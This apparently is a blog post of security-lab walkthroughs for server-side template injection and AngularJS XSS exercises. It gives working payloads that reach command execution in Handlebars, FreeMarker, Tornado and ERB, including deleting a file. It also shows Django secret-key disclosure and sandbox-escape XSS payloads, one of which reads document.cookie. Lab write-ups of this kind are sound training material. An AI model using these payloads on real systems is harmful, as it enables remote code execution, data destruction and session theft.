Lab Solution: Server-side template injection with information disclosure via user-supplied objects

First, we need to “View details” of a product and click “Edit template”. We can see that the template get data by using {{product.name}}.

Changing it to {{7*7}} and click “Preview” raised an exception with the name of the template which is Django template.

According to this guide about SSTI (Server Side Template Injection), to find the framework’s secret key we use:

{{settings.SECRET_KEY}}

Lab Solution: Server-side template injection in an unknown language with a documented exploit

When viewing details of the first product, we get a message in URL:

/?message=Unfortunately this product is out of stock

Try /?message={{}} we get an error.

This page is using Handlebars template. According to Handlebars template injection and RCE in a Shopify app, we can use their payload to inject.

There is a comment mentioned the payload to execute a shell command.

And we have the payload to execute ‘ls‘ command.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URL encode this payload into:

/?message=%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.push%20%28lookup%20string.sub%20%22constructor%22%29%7D%7D%0A%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%7B%7B%23with%20string.split%20as%20%7Ccodelist%7C%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.push%20%22return%20require%28%27child_process%27%29.execSync%28%27ls%27%29%3B%22%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string.sub.apply%200%20codelist%29%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0A%20%20%7B%7B%2Fwith%7D%7D%0A%7B%7B%2Fwith%7D%7D

We can see that there is a file named ‘morale.txt‘.

Change ‘ls‘ into ‘rm morale.txt‘ and execute the payload.

Lab Solution: Server-side template injection using documentation

First, we need to “View details” of a product and click “Edit template”. We can see that the template get data by using ${product.name}.

Changing it to ${a} and click “Preview” raised an exception with the name of the template which is FreeMarker template.

According to @albinowax in Server-Side Template Injection, to execute ‘id‘ command, we inject:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Then, we execute ‘ls‘ and there is a file named 'morale.txt‘.

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ls") }

Remove the file with:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm morale.txt") }

Lab Solution: Basic server-side template injection (code context)

We have a hint:

Tip: Take a closer look at the “preferred name” functionality.

This function is in “My account” page, and it change the name displayed when we comment on a post.

Click “Submit” button and catch the packet with Burp Suite, we can change the value of the “blog-post-author-display” parameter.

For example, use payload:

blog-post-author-display=7*7

And our name was changed into “49”.

This lab uses a Tornado template so we use python to run system command.

To list the files, we use:

blog-post-author-display=user.name}}{%+import+os+%}{{os.system('ls')

And to delete file, we use:

blog-post-author-display=user.name}}{%+import+os+%}{{os.system('rm+morale.txt')

Lab Solution: Basic server-side template injection

When click “View details” of the first product, we got a message:

This message is a parameter named “message” of a GET method request.

Because this lab uses an ERB template, we will try to change the “message” parameter into:

?message=<%= 7*7 %>

Hence this site have a SSTI vulnerability.

To run system commands from ruby, we use function system(). We use payload:

?message=<%= system("ls") %>

to list the files and we found the target file “morale.txt“.

Then we delete that file with payload:

?message=<%= system("rm morale.txt") %>

Lab Solution: Reflected XSS with AngularJS sandbox escape without strings

We will use:

  • toString() to create a string without using quotes.
  • an array is passed to the orderBy filter.

Then, we set the argument for the filter by using toString() to create a string and the String constructor property.

And we use the fromCharCode method generate our payload by converting character codes into the string x=alert(1).

We visit the URL:

https://your-lab-id.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1 

You need to change ‘your-lab-id’.

Lab Solution: Reflected XSS with AngularJS sandbox escape and CSP

“This lab uses CSP and AngularJS.”

We will use:

  • ng-focus event in AngularJS to create a focus event that bypasses CSP.
  • $event variable that references the event object.
  • path property contains an array of elements that triggered the event. The last element in the array contains the window object.
  • | in AngularJS indicates a filter operation, in this case the orderBy filter.
  • The colon : signifies an argument that is being sent to the filter.
  • Instead of calling the alert function directly, we assign it to the variable z.

The function will only be called when the orderBy operation reaches the window object in the $event.path array. This means it can be called in the scope of the window without an explicit reference to the window object, effectively bypassing AngularJS’s window check.

Go to the exploit server and submit:

<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script> 

You need to change ‘your-lab-id’.

Lab Solution: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Search for a string ‘text’, when viewing page source, we see tag body containing ng-app attribute.

Then, we search for:

{{$on.constructor('alert(1)')()}}
Design a site like this with WordPress.com
Get started